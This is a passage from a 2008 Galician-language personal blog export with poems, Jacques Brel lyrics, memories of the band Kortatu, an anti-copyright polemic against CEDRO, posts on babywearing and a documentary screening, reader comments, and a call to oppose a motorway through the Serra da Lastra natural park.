Se tendes a sorte de viver nalgumha vila, ou perto dela, onde se vaia celebrar o Samain, acudide. Se nom, já sabedes: cumpre organizarmo-nos para organizar o Samain do próximo ano. Ou, em todo caso, ter em conta que o cristao "Dia de Defuntos", nom é mais que a adaptaçom que a Igreja Católica realizou desta ancestral celebraçom.
E, em todo caso, temos o nosso magosto. As castanhas também se merecem umha atençom nestes dias, e umha boa festa. Mas disso, falaremos noutros comentário.
Feliz ano novo!!!
Atopei um apartamento novo, barato, amplo, com bons vizinhos e vizinhas, onde poder trabalhar com os meus quadros, ou o que sejam.
Nom é que vaia deixar esta casa, cá! O que se passa é que o apartamento permite-me seguir trabalhando naquelas cousas com um pouco de orde, e podo ter os quadros na parede, e nom por aí arrombados de qualquer modo tras das portas.
Por agora, já levei para lá algumhas cousas. Aqui, como ali, poderá-se ler e ver. Ali, como aqui, podera-se ver e ler.
O melhor de todo é que a porta está aberta. Podes ir a qualquer hora. Fai-me umha visita se che peta. E nom há videovigiláncia: podes entrar, ver, e levar o que queiras. Como sempre, eu sigo a pensar que TODO É DE TODAS/OS. Defende a cultura, e cópia todo o que queiras, todo o que saibas, todo o que podas.
O quadro que acompanha estas letras, está já nas paredes daquel recunchinho com vistas. Trata-se dum poema meu, o da torradeira do pam que fala com citas de Roque Daltos e J.Sarrionaindia. Para o desenho empreguei a imagem publicitária dumha torradeira "Odag" atopada na rede. O tamanho original é de 420x594 mm.
----- -------- AUTHOR: Lugris TITLE: Tal vez BASENAME: tal-vez DATE: Sat, 25 Oct 2008 07:53:02 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Tal vez
um homem novo
um ser humano novo
Um Ser Humano
onde ser
também significa estar
onde humano
também significa vivo
Tal vez
só umha nova forma
de nom seguir renunciando
de nom seguir claudicando
de nom seguir aceitando
placidamente
as derrotas
A imagem, tirei-na daqui.
----- -------- AUTHOR: Lugris TITLE: Estes som os últimos dias BASENAME: estes-som-os-ultimos-dias DATE: Fri, 24 Oct 2008 14:04:55 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Estes som os últimos dias
Sabemos que vai chover
Vai chover
Novamente vai chover
E pode que seja mais umha derrota
Umha outra derrota
que somar
ao nosso curriculum colectivo
Tam necessária
e imprescindível
como as anteriores
Tam distinta
e diferente
como as anteriores
Mas estes som os últimos dias
e vai chover
Sabemos novamente
que vai chover
e que estes som
precisamos que sejam
os últimos dias
Um poema, ainda quente, para estes dias de inestabilidade. Emocional. Física. Laboral. Atmosférica. Etc.
(A imagem, e algumha outra cousa)
----- -------- AUTHOR: Lugris TITLE: Poema sem título BASENAME: poema-sem-titulo DATE: Thu, 23 Oct 2008 06:05:58 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Todo é terrivelmente complicado
Mas nom há que se preocupar
com isso
Também o certo é
que
tudo é terrivelmente simples
Igual que distinguir o abalo e o devalo
Igual que ver chover
Igual que pensarmos
que existir é
lembrar distáncias
e falar silêncios
Nom existe mais que
o caminho
O que vives é a viagem
Estou confuso
e nom escuito mais
que o silêncio iluminando
esta noite
cheia de palavras molhadas
Essas luzes que
me rodeam é o lume
da terra
Arder
é a palavra
que procuras
De quando em vez, escrevo e re-escrevo poemas. Este, que apareceu publicado na Revista das Letras, é o resultado de fusionar (ou de plagiar-me a mim próprio) outros dous ou três poemas prévios.
A imagem, tirei-na daqui, via isto, som poemas da galeria de Nineblue.
Agora que o capitalismo vem de descobrir que a forma de aumentar a riqueza dos mais ricos é tam simples como roubar (tirar-lhe o dinheiro ao conjunto da populaçom para apropriar-se dele e reparti-lo entre os mais ricos), vem a OCDE e nos di que aumenta a brecha que separa às pessoas ricas das pobres.
O que diminue é a que separa os vivos dos mortos.
Ainda nunca vim um acidente laboral mortal dum grande executivo dumha empresa, do director dum banco, do presidente dalgumha das entidades financieiras que vem como o nosso dinheiro vai manter o seu nível de vida. Porém, os trabalhadores e as trabalhadoras que mantenhem os seus galácticos salários, siguem a morrer, e nom se escuita falar de soluçons, nem de exigir responsabilidades, nem de procurar causas.
Claro que nisto de roubar, também há quem explora novas possibilidades, intentando convertir-se na vanguarda desta nova moda.
[youtube]R9dWMhSJq0c[/youtube]
Umha sessom de atutêntico ska nipom para dar começo esta tarde à primeira fim de semana, depois de nem-sei-quantas, para descansarmos sábado e domingo, longe do trabalho e das preocupaçons.
A Tokyo Ska Paradise Orchestra, que assim se chamam este mogolhom de japoneses, foi criada em 1985. 10 pessoas no cenário, e milheiros no público, bailam ska mesclado com sons latinos, do jazz, do rock,... e de todo quanto lhes cai por diante. Mais de 24 discos editados!!!
----- COMMENT: AUTHOR: Gabriel - ボーちゃん [Visitante] DATE: Sun, 19 Oct 2008 10:48:22 +0000 URL:Grandíssimo grupo!
Oxalá vinhessem à Galiza!
"desde este humilde cuarto
de obreiro
prométoche o fin da tiranía
porque nas mans levo o traballo
e na fronte a memoria colectiva
e se algún día dis que eu mentín
direi que nom, que fun vencido"
Rafa Villar
Recupero este poema de Rafa Villar, do seu livro "O devalo do mar", editado em Junho de 1994 (já choveu...), porque me parece muito apropriado como banda sonora poética para falarmos de derrotas e conversos, da chamada "industria dos direitos de autor" e da redistribuiçom da cultura.
Devo começar reconhecendo que som membro de CEDRO, a entidade de gestom dos direitos de autor no ámbito editorial. Figem-me membro desta entidade practicamente ao mesmo tempo que me fazia membro da AELG, a associaçom que reune aos e às escritoras em língua galega. De facto, entregarom-me juntos os formulários para associar-me, ainda que ser membro dumha entidade nom obriga, nem obrigava, a ser membro da outra. Como membro de CEDRO, puidem aproveitar algumhas das suas ajudas para, entre outras cousas, comprar as gafas que agora levo postas todo o dia, todos os dias, também mentres escrevo isto.
Mas o certo é que cada vez tenho mais diferências com a sua actividade e com os seus posicionamentos. Pode ser porque CEDRO tem radicalizado as suas posturas no que se refire ao tema dos direitos de autor (principalmente, e quase exclusivamente) económicos; ou pode ser porque eu tenho avançado nas minhas posiçons de defesa da ideia da cultura para todas/todos, o combate ao copyright e a promoçom da redistribuiçom da cultura. Em qualquer caso, cada vez que algumha das suas revistas chega à minha casa, os seus artigos parecem-me cada vez mais polémicos, mais escandalosos, mais ofensivos (quer-se dizer, que me ofendem).
O publicado na contracapa do número 65 seu "Boletín Informativo", correspondente a maio-agosto de 2008, o último que chegou à minha casa, bate para mim todos os records. Aparecem aí quatro pequenos artigos sob o epígrafe "El valor de los derechos de autor". Dous deles, raiam ao meu entender a pornografía. José Maria Merino e Laura Freixas publicam um perfeito exemplo de confissom e arrepentimento polos pecados da juventude. Um perfeito exemplo de conversos derrotados.
O texto de José Maria Merino leva por título "Mundo gratis", e começa dizindo, textualmente, e traduzido, "Quando era novo e socialista utópico, pensava que o dinheiro deveria desaparecer do mundo", para explicarmos que agora, que já reflexionou e aceitou activamente o capitalismo realmente existente, pensa que todo, Todo, "todo trabalho, todo objecto, todo" tem um preço. E que a criaçom cultural, especialmente a literária, também deve tê-lo, cargando as tintas contra as cópias e as fotocópias e contra a distribuiçom livre e sem control em internet da cultura. E que se nom é assim, deveriamos voltar a "aquela velha utopia na que cria quando era novo: que todo seja gratis. As invençons da imaginaçom, mas também os livros, os alimentos, os combustíveis, o transporte, o telefone, os computadores, a roupa, a medicina, a vivenda... Mundo gratis!". Será possível tam pouca vergonha!!! E, como mínimo, nom é um direito de todo ser humano, de toda pessoa, viva onde viva, seja de onde for, o aceso à comida, à roupa, à umha vivenda digna, à medicina necessária!? Quando ele era novo, sim que se podia reivindicar isso, mas agora... agora nom? Nom se decatará de que foi ele o que cambiou, foi ele o derrotado, é ele o converso, o que mudou de opiniom? É que é um delito seguir pensando que o aceso à cultura, a umha vida digna, à comida necessária, som um direito inegável do ser humano!?
O artigo de Laura Freixas, intitulado "Chorizar", vai polo mesmo caminho. "Ainda lembro o que me impresionou (refere-se a um relato de Borges)... ao lê-lo nos 70, umha época na que nom só eu era adolescente: também o era o país", di. "Campava entom (...) um alegre anarquismo, que se manifestava, entre outras cousas, na despreocupaçom com a que nos dedicavamosa chorizar (dizer roubar teria sido de mal gosto". Para rematar a sua confissom de anarquista (?) arrrependida e convertida ao alegre capitalismo reinante, termina o seu texto: " Quero crer que a mentalidade protestante, quer-se dizer, democrata, progressou o suficiente entre nós como para que hoje nos dé vergonha entrar numha tenda e sair com um livro baixo o abrigo. Mas na tenda virtual é outra cousa. Aí muitos siguem dando renda solta ao seu anarquismo, o anarquismo de rapaz malcriado, convencido de que o mundo lhe deve todo e a própriedade é um roubo... se é alheia. E siguem a chorizar".
Pois sim, Laura Freixas, sim. A propriedade privada, e a propriedade intetelectual especialmente, hoje como onte, é um roubo. Sigue a ser um roubo. Repartir a riqueza, redistribuir a riqueza, e também a cultura, sigue a ser necessário. E quem mudou fuche tu, que serias umha cria, umha adolescente, umha jovem anarquista malcriada. O teu arrepentimento, a tua conversom, nom é motivo para que outras muitas pessoas siguem mantendo as bandeiras da rebeldia, da pirataria e da liberdade bem altas.
Nom, nom mentiades. É só que fuchedes vencidos. Que estades derrotados.
Acertei com o post anterior. Parece que o nosso admirado Jacques cotiza à alça.
A notícia tem um certo aquel de vergonha alheia, escándalo e bochorno. Mas aí está.
Eu, Ne me quitte pas, de sempre, umha das melhores.
[youtube]zIP9UHtvk1g[/youtube]
Haverá que ir-lhe dizendo aos nossos amigos músicos que nos deixem algum manuscrito, para que os nossos filhos, ou netos, podam ter algumha cousa que subastar...
Ne me quitte pas
Ne me quitte pas
Il faut oublier
Tout peut s'oublier
Qui s'enfuit deja
Oublier le temps
Des malentendus
Et le temps perdu
A savoir comment
Oublier ces heures
Qui tuaient parfois
A coups de pourquoi
Le coeur du bonheure
Ne me quitte pas
Moi je t'offrirai
Des perles du pluie
Venues de pays
Ou il ne pleut pas
Je creuserai la terre
Jusqu'apres ma mort
Pour couvrir ton corps
D'or et de lumiere
Je ferai un domaine
Ou l'amour sera roi
Ou l'amour sera loi
Ou tu seras reine
Ne me quitte pas
Ne me quitte pas
Je t'inventerai
Des mots insensés
Que tu comprendras
Je te parlerai
De ces amants là
Qui ont vu deux fois
Leurs coeurs s'embraser
Je te racont'rai
L'histoire de ce roi
Mort de n'avoir pas
Pu te rencontrer
Ne me quitte pas
On a vu souvent
Rejaillir le feu
De l'ancien volcan
Qu'on croyait trop vieux
Il est paraît-il
Des terres brûlées
Donnant plus de blé
Qu'un meilleur avril
Et quand vient le soir
Pour qu'un ciel flamboie
Le rouge et le noir
Ne s'épousent-ils pas
Ne me quitte pas
Ne me quitte pas
Je ne veux plus pleurer
Je ne veux plus parler
Je me cacherai là
A te regarder
Danser et sourire
Et à t'écouter
Chanter et puis rire
Laisse-moi devenir
L'ombre de ton ombre
L'ombre de ta main
L'ombre de ton chien
Ne me quitte pas
Já se sabe: tempos melhores ou destruçom. Comunismo ou Caos.
E a ceia da SCAPA?
----- COMMENT: AUTHOR: Mediopelo [Visitante] DATE: Tue, 14 Oct 2008 07:49:04 +0000 URL:Este é o signo dos tempos.
Xa o dicía (permita-se-me unha cita en castelán) Góngora:
“Todo se vende hoy en día,
todo el dinero lo iguala,
la corte vende su gala,
la guerra, su valentía.
Hasta la sabiduría
vende la Universidad…”
Co que non contaba Góngora é con que a arte e os seus fetiches fosen a mercancía mais codiciada 350 anos despois…
Mas todo ten un límite: virán tempos mellores, ou non virá nada mais que a destrución.
[youtube]dCHi5apc1lQ[/youtube]
Le coeur bien au chaud
Les yeux dans la bière
Chez la grosse Adrienne de Montalant
Avec l'ami Jojo
Et avec l'ami Pierre
On allait boire nos vingt ans
Jojo se prenait pour Voltaire
Et Pierre pour Casanova
Et moi, moi qui étais le plus fier
Moi, moi je me prenais pour moi
Et quand vers minuit passaient les notaires
Qui sortaient de l'hôtel des Trois Faisans
On leur montrait notre cul et nos bonnes manières
En leur chantant
Les bourgeois c'est comme les cochons
Plus ça devient vieux plus ça devient bête
Les bourgeois c'est comme les cochons
Plus ça devient vieux plus ça devient c...
Le coeur bien au chaud
Les yeux dans la bière
Chez la grosse Adrienne de Montalant
Avec l'ami Jojo
Et avec l'ami Pierre
On allait brûler nos vingt ans
Voltaire dansait comme un vicaire
Et Casanova n'osait pas
Et moi, moi qui restait le plus fier
Moi j'étais presque aussi saoul que moi
Et quand vers minuit passaient les notaires
Qui sortaient de l'hôtel des Trois Faisans
On leur montrait notre cul et nos bonnes manières
En leur chantant
Les bourgeois c'est comme les cochons
Plus ça devient vieux plus ça devient bête
Les bourgeois c'est comme les cochons
Plus ça devient vieux plus ça devient c...
Le coeur au repos
Les yeux bien sur terre
Au bar de l'hôtel des Trois Faisans
Avec maître Jojo
Et avec maître Pierre
Entre notaires on passe le temps
Jojo parle de Voltaire
Et Pierre de Casanova
Et moi, moi qui suis resté le plus fier
Moi, moi je parle encore de moi
Et c'est en sortant vers minuit Monsieur le Commissaire
Que tous les soirs de chez la Montalant
De jeunes peigne-culs montrent nos leur derrière
En nous chantant
Les bourgeois c'est comme les cochons
Plus ça devient vieux plus ça devient bête
Les bourgeois c'est comme les cochons
Plus ça devient vieux plus ça devient c...
Les Bourgeois
Jacques Brel
Para todos aqueles (em masculino, porque som maioria neste caso os homens frente as mulheres, ainda que destas últimas também há algumhas) que som/sempre forom/ou se convertirom em parte do problema, e querem-nos fazer crer que som parte da soluçom.
----- -------- AUTHOR: Lugris TITLE: Diagnósticos BASENAME: diagnosticos DATE: Sat, 04 Oct 2008 06:21:43 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Também estivo aquela outra vez
Quando decidimos assaltar o ceu
da madrugada
ao ritmo dum licorcafé
mentre sonava
ao longe
dentro das nossas cabeças
umha dessas cançons
às que lhe inventavamos a letra
Era quando aprendiamos idiomas
ou palavras
para fazer os diagnósticos
Umha versom deste poema foi publicada na Revista das Letras.
Tal e como aqui aparece, foi empregado para a minha instalaçom "A poesia nom dá de comer", que fazia parte da exposiçom colectiva "alimentARTE", que estivo entre Junho e Julho do ano passado na Galeria de Arte Dosmilvacas.arte de Ponferrada.
[youtube]8h_srUypCTE[/youtube]
Via Tangaranho primeiro, e Chuza depois, inteiro-me de que hoje há 20 anos que os Kortatu davam o seu último concerto e se disolviam. O 1 de Outubro de 1988 despediam-se em Iruña com aquel estupendo concerto que depois recolheriam em disco: Azken Guda Dantza.
Para este dia 1 de Outubro o próprio Fermin Muguruza anunciara a apresentaçom do seu novo trabalho, Asthmatic Lyon Sound Sistema, mas parece que nom puido ou nom lhe apetecia aguardar tanto, e já está na rede desde há uns dias o clipe do primeiro adianto desse trabalho, Balazalak, que é o video que aparece aqui arriba.
Como é que puderom passar já 20 anos! Ainda lembro bem, ou penso que ainda lembro bem (se calhar, é que quero pensar que ainda lembro bem), a raiva ante a notícia da sua disoluçom. E a mágoa por nom poder estar naquel concerto, na sua Última Dança de Guerra. Depois, pouco depois, por suposto comprei o disco. Deveu ser o primeiro disco de Kortatu que comprei, porque a verdade é que toda a colecçom dos discos de Kortatu e doutros grupos do chamado Rock Radikal Basco, circulava em cópias piratas em cassetes. Daquela, ainda nom sabiamos que aquilo se chamava pirataria e era umha táctica de resistência contra a mercantilizaçom da cultura.
Cassetes e mais cassetes de Kortatu, de La Polla Records, de Potato, de Hertzainak, de Ser Bizio, de M.C.D., de Distorsión,... eram gravadas e regravadas.
Umha anedota: umha noite, numha festa na discoteca Apolo, em Compostela, Kortatu fijo-me ganhar umha garrafa de champam. Faziam um concurso, e havia que escrever num papel qual era para ti o melhor grupo de música. Sorteavam três garrafas, e ademais o pincha punha umha cançom do grupo escolhido. Um dos papeis escolhidos foi o meu. Derom-me a garrafa, mas ao pincha foi-lhe impossível pôr umha cançom dos Kortatu. Eu penso que nem os conhecia. As pessoas que conheceram a discoteca Apolo há vinte anos poderám entendê-lo.
Mas nós, os meus colegas e eu, a verdade é que muito muito nom gostavamos da discotecas. Passavamos as tardes das sextas e os sábados entre os bares das galerias da zona nova de Compostela (rua Alferes Provisional e Rua Nova de Abaixo), tomando cervejas. E cantando polas ruas, claro.
Ainda seria o seguinte ano quando trasladamos as nossas vidas, as nossas cervejas e as nossas melodias nocturnas para a zona velha.
Mas a Última Dança de Guerra bailamo-la, cantamo-la, berramo-la, nas galerias.
[youtube]SW2Aut-107c[/youtube]
E tu? Onde estavas aquel dia?
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 03 Oct 2008 16:14:03 +0000 URL:Caro Barom: a verdade é que a minha lembrança daquele dia, inclue-o a vostede. Lembro-me andar de cervejas, e falando da *putada (perdom pola expressom machista) que era a disoluçom de Kortatu. Mas tem razom: o bom foi que a disoluçom abriu a porta para a apariçom de Negu Gorriak…
E falando doutras cousas: para quando essa ceia da SCAPA?
Pois eu non lembro onde estaba aquel día; mas, probabelmente, estaria emborrachando-me contigo (se caeu en venres ou sábado).
O bo da disolución de Kortatu é que deu paso a eso outro fenómeno chamado Negu Gorriak (o outro dia, no Campo das Hortas, o Barón puido escoitar a un neno dicir: “non cruzo, que o semáforo está gorria". Será o bibligüismo harmónico, que o temos que importar de Euzkadi?)
Non consinto que poñades en dúbida a miña precocidade!!!
É certo, estaba no colexio, iso pásame porque me teño conceptualizado máis vello do que son. En calquera caso a Kortatu descubrinos nos primeiros anos da universidade, xunto a Negu Gorriak, que aínda non fixera o seu concerto final pero xa estaban oficialmente disoltos.
…o 1 de Outubro de 1988? Pois, provavelmente, apurando os últimos dias de férias no liceu…
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 02 Oct 2008 14:36:12 +0000 URL:Mario, no ano 88 estavas “comezando a universidade"? Ou estam mal as tuas biografias (que che dam por nascido no ano 79), ou eras um neno precoz, ou, definitivamente, nom estudavas matemáticas, nom? :)
Já lhe tomaremos umhas canhas, analógicas, por suposto.
Por certo, que no porto só servimos licorcafé virtual, pero se algún día pasas perto das galerías e che apetecen unhas cañas analóxicas pégame un asubío.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Thu, 02 Oct 2008 13:04:04 +0000 URL: http://oportodosescravos.blogspot.comPenso que comezando a universidade e poñéndome ao día de determinadas cousas. Penso que non me decatei do Azken Guda Dantza, e iso que debe ser un dos discos que máis escoitei na miña vida. Dalgún xeito son moito máis consciente do comezo de Negu Gorriak. Ben, naquela época a rede estaba abrollando e a música seguía a ser un ben relativamente elitista. Estou desxando facerme co novo de Muguruza!!!
----- -------- AUTHOR: Lugris TITLE: Fronteiras em Ponferrada BASENAME: fronteiras-em-ponferrada DATE: Wed, 01 Oct 2008 14:04:54 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: Filmes CATEGORY: Gz é bem pequena TAGS: ----- BODY:Vem-me de chegar um correio electrónico, que me informa de que hoje mesmo poderemos ver em Ponferrada o documental "Fronteiras". Será às 20.30 no auditório de Caixaespanha.
Assim que já sabedes... se podedes: ide!
Di o corrreio:
Fronteiras proxectarase hoxe no Festival de Cine de Ponferrada.
O documental Fronteiras, dirixido por Rubén Pardiñas, foi seleccionado na sección Kaleidoskopio do 6º Festival de Cine de Ponferrada, que se ven desenvolvendo na cidade berciana dende o 26 de setembro e até o 4 de outubro.
A proxección terá lugar no auditorio de Caja España ás 20:30 horas. A película vén de ser tamén seleccionada no 13º Festival de Cine Internacional de Ourense, onde se proxectará na sección Panorama Galicia o 14 de outubro.
Fronteiras é un polémico percorrido polos límites xeográficos e culturais galegos (dende a Terra Eo-Navia asturiana até o Norte de Portugal, pasando polo Bierzo leonés e as Portelas zamoranas) no que as rifas lingüísticas, as posicións irredentistas e a politización de moitos dos elementos que conforman a cultura arraiana nos amosan a forte ideoloxía agochada en institucións e disciplinas que decote consideramos obxectivas e/ou científicas.
O documental inclúe as intervencións tanto dos propios habitantes destas zonas estremeiras como a de especialistas da filoloxía, da política ou do mundo da cultura, como Xosé Luís Méndez Ferrín, Xosé Ramón Barreiro Rivas, Ramón d´Andrés, Ana Cano, Xosé Manuel Beiras, Manuel Fraga ou Bieito Romero. Producido por Pasacana Films, Fronteiras acadou en 2006 o Premio Xpréssate ao mellor proxecto de documental no II Festival Internacional de Documentais de Tui ´Play-Doc´.
Estreado no Play-Doc ´07 e adquirido pola Televisión de Galicia, a película participou, entre outros, no III Festival Internacional de Cinema Jovem de Santa Maria da Feira FEST 07 (Portugal, 2007), o 45º Festival Internacional de Cine de Xixón (2007), o 21º Cineuropa de Santiago de Compostela (2007), o V Documenta Madrid 08 ou a 40ª Muestra Cinematográfica del Atlántico Alcances 08 (Cádiz).
Graciñas pola difusión e un saúdo,
----- -------- AUTHOR: Lugris TITLE: O Bierzo também em "Galiza.25" BASENAME: o-bierzo-tambem-em-galiza-25 DATE: Wed, 01 Oct 2008 10:08:47 +0000 STATUS: publish PRIMARY CATEGORY: Geral CATEGORY: TAGS: ----- BODY:Sarai Fernández, galega do Bierzo, desenhadora e artista, de quem já falamos nalgumha outra ocassom, participa na exposiçom que organiza o Conselho da Cultura Galega com motivo do seu 25 aniversário.
E, para outro post, ficará a reflexom sobre a utilidade do tal Conselho, sobre o "Galicia/Galiza", e sobre as cousas da cultura "oficial", que, ao igual que a normativa "oficial", nom som santos da minha devoçom.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 03 Oct 2008 05:37:15 +0000 URL:Tenho que ver, arume, tenho. As suas filhas som as minhas sobrinhas, e os meus filhos som os seus sobrinhos. Ademais, a minha mae e a sua venhem-lhe sendo a mesma pessoa. Vaia… que somos irmaus.
----- COMMENT: AUTHOR: arume dos piñeiros [Visitante] DATE: Thu, 02 Oct 2008 20:19:59 +0000 URL: http://arumes.blogspot.comNon terá vostede que ver cun tal Alberto (Álvarez Lugrís) que anda polos vigos. Se é así, saberei darlle novas súas.
En Outono o Bierzo non ten nada que envexar á propia Toscana.
Nado en Ponferrada: da rúa Ramón y Cajal, barrio de san Ignacio, por máis señas.
É umha craque, é, tangaranho.
Arume dos pinheiros, que surpresa. Desconhecia que vostede era de Ponferrada. Saúdos, das suas terras, portanto. Hoje, com um sol de outono que presagia umha boa próxima fim de semana de vendima. E já a pensar nas castanhas!
Os de Ponferrada somos así.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Wed, 01 Oct 2008 10:32:34 +0000 URL: http://www.tangaranhovermelho.blogspot.comDesde logo esta Sarai, é-che umha craque….
----- -------- AUTHOR: Lugris TITLE: Porquê é que cheguei a ser papá canguru BASENAME: porque-e-que-cheguei-a-ser-papa-canguro DATE: Tue, 30 Sep 2008 21:58:45 +0000 STATUS: publish PRIMARY CATEGORY: Aldám Lugris CATEGORY: TAGS: ----- BODY:Aqui, podedes ver, entre outra cousas interesantes, muitas histórias de mamás que explicam como é que chegarom a ser mamás-canguru.
A mim parece-me complicado explicar o como. Prefiro explicar o porquê.
Porquê é mais cómodo. Para o bebé. Para o seu irmao maior, que também pode aproveitar o fular. Para mim. Para a mae.
Porquê é mais saudável. Para o bebe. Para o seu irmao maior quando também vai assim. Para mim, quando o(s) levo. Para a mae quando o(s) leva.
Porquê é reconfortante, sentir tam perto de ti ao teu filho, ou ao pícaro ou pícara que levas contigo, sabendo que vai cómodo, tranqüilo, alegre. Muitas vezes, durmido.
Porquê é a forma mais simples de ir com o meu filho, com os meus filhos. Para dar um paseo, para fazer os recados, para estar com as amizades, para fazer as cousas da casa, para lavar o carro, para jogar com o maior,... A lista é interminável.
Porquê...
Com Xende, usamos, e muito, umha mochila dessas que che vendem nas tendas de cousas para bebés. E ainda umha outra dessas que che vendem nas tendas de cousas para fazer desporte. Mas dscobrir o fular é umha das melhores cousas que nos tem passado. E, junto com o fular, já venhem o resto das cousas: a bandoleira, o pouch, o mei tai,...
Se este post fijo nascer a curiosidade, se queres saber mais, e se queres respostas para as f.a.q. que te estarás fazendo, tes que saber que há respostas. Em espanhol, mas respostas.
Se tes filhos/as, como mínimo deverias prová-lo. Mas vai com olho, isto primeiro atrai, depois seduce e por último engancha.
Na foto, Aldám tem um mês. Eu, é a primeira vez que me punha o fular. Estamos no Parque do Temple, e Cris ensinou-nos a fazer algum dos nós para levar aos nossos filhos.
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Thu, 09 Oct 2008 15:49:56 +0000 URL: http://www.estibalizes.wordpress.commira ti, que australiánidos os dous!
Ao Aldam véselle no sétimo ceo. Considerando que só haxa sete.
Bicas a esgalla
----- COMMENT: AUTHOR: séchu [Visitante] DATE: Sun, 05 Oct 2008 19:22:25 +0000 URL:pois a ver se nom passa como quando salvaterra, que ao final nada, nem me puidem achegar,
estuo indo ao courel e de veras que gostaria achegar-me entrando por oéncia, santo tirso…, até aí.
a ver quando pode ser…
bikos, igor.
Sechu: parabens ghrandes, ghrandes!!!
Umha nova estrela para guiar o caminho!
Já sabedes onde estamos para o que precisedes.
Viredes polo Bierzo?
Bicos.
ola, igor,
assi dá ghusto!
apunto-me ao canguru, que ai para março nace-nos o marsupial,
vai ser Estrela.
um beijinho para Aldam, Xende e Noe.
e para tu!
Entenrecedora foto,entenrecedora escrita….¡Como te envexo!…Mágoa que eu no fora quen de ter a sabencia de facerme unha dese xeito…. Bicos para os catro.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 01 Oct 2008 13:43:43 +0000 URL:Tangaranho: efectivamente. Às vezes até com as melhores das intençons, complicamo-nos e fazemos difíceis as cousas fáceis. O fular, é mais simples, agradável e cómodo que as “mochilas das tendas de bebés". Só que essas mochilas, entre outras cousas, contam com muita mais publicidade, e quando procuramos umha alternativa ao “carrinho” caemos nelas.
Nohemí: obrigado a vos. Red Canguro, os seus vídeos, as suas explicaçons, som umha ajuda para muitas maes, e também para alguns pais.
¡Qué linda foto!
Gracias por ayudar a fomentar el uso de portabebés. Desde la Red Canguro nos encanta ver bebés felices en brazos de sus papás :-)
Un saludo desde España
às vezes, o singelo está melhor pensado do que o sofisticado…
----- -------- AUTHOR: Lugris TITLE: Vai de citas BASENAME: vai-de-citas DATE: Tue, 30 Sep 2008 21:17:31 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí TAGS: ----- BODY:"Entendido deste xeito, o blog pode entenderse como un xénero ou, como mínimo, como unha nova versión do vello xénero "caixón de sastre". con todo, cómpre facer algunhas consideracións adicionais. non teño as ideas demasiado claras, penso que sobre todo isto aínda hai moito debate posíbel, pero vou deixar aquí uns apuntes e xa veremos en que dan".
Debatamos, pois. Ou sigamos a debater. A questionar. A resistir. A libertar. Eduardo abre mha nova janela para intercambiar opinions.
E já nos avisa: "os textos desta bitácora pódense copiar, pegar, manipular, distribuír e plaxiar. o autor non se fai responsábel de posíbeis impugnacións ou descualificacións que o resultado dos mencionados actos poidan recibir en premios literarios ou lides equivalentes".
Para falarmos, para lermos, para reflexionarmos, sobre blogues, sobre livros, sobre literaturas, sobre intervençom social...
Eu já digem, noutra ocassom, falando doutros temas, escrevendo noutros sítios, que a soluçom nom é olhar para outro lado.
"Servizos como Trama Virtual distribúen a produción de máis de 50.000 artistas que ofrecen a súa música de xeito gratuita e son remunerados por medio da publicidade. Ignorados polas compañías tradicionais, as xeracións máis recentes de músicos cariocas puideron crecer e atopar ao seu público grazas a este portal que conseguiu éxitos estratéxicos para o seu modelo como catapultar á élite da escena independente internacional a Cansei de Ser Sexy (CSS), un dos múltiples grupos que colgaron alí os seus temas.
(...)
No estado de Pará, ao norte de Brasil, o Tecnobrega -cuxos orixes explícanse no interesante documental gratuito Good Copy, Bad Copy- é tan popular que cada ano edítanse máis de catrocentos CDs e 100 DVDs desta clase de música. Pero ningún chega ás tendas de discos; os productores preferiron chegar a acordos coas redes de "manteiros" que venden copias ilegais dos grandes lanzamentos internacionais.
Os músicos cédenlles os seus discos gratuitamente e permiten que se quedan co prezo integro da venda. A cambio, os vendedores convértense na rede de promoción destes artistas, que logo recuperan con fartura o investimento actuando en grandes festas soundsystem nas que chegan a xuntarse ata 15.000 persoas".
[youtube]7agPOt1XZz8[/youtube]
Tirei-no daqui. E a imagem também.
----- -------- AUTHOR: Lugris TITLE: Salvemos a Serra da Lastra!!! BASENAME: title-10 DATE: Tue, 30 Sep 2008 06:00:21 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Via Made in Galiza, chega a informaçom sobre a construçom da nova "infraestrutura" Ponferrada-Ourense, que segum Tourinho, esse homem, vai-nos colocar na vanguarda das infraestruturas nom só no estado, mas em toda Europa.
Pois a tal infraestrutura, servirá para que as construtoras podam meter as suas gadoupas na Serra da Lastra, com viadutos, taludes e túneis.
Isto é o que di Cristina de la Torre, jornalista e vizinha da Rua:
"Ola.Son Cristina de la Torre, unha veciña da Rúa, en Valdeorras. Escribo para pedir axuda cunha loita pequena pero importante.
O Ministerio de Fomento fixo público hai pouco o estudio informativo da Autovía A-76 que unirá Ponferrada e Ourense.
Pois ben, a proposta que teñen é de atravesar coa nova estrada o Parque Natural da Serra da Lastra, en Valdeorras, e iso a pesares dos informes negativos e de que poderían, indo por outro trazado, dotar de infraestructuras á zona mineira de Ponte de Domingo Flórez e Carballeda de Valdeorras.
O estudo informativo está en periodo de alegacións para os particulares así que é o momento de protestar por escrito ante Demarcación de Carreteras para que reconsideren esta opción e salvar o Parque. Plantexan nada menos que atravesalo cun túnel de 3,5 kilómetros e enchelo de viaductos e taludes.
O que podemos agora é presentar cantas máis alegacións mellor.Temos unha semana de prazo, ata o 4 de outubro.
Así que te pido que te sumes a esta iniciativa, descargues a alegación e a presentes en calquer rexistro ou por Correo. Todos os detalles están no blog SERRA DA LASTRA R.I.P.
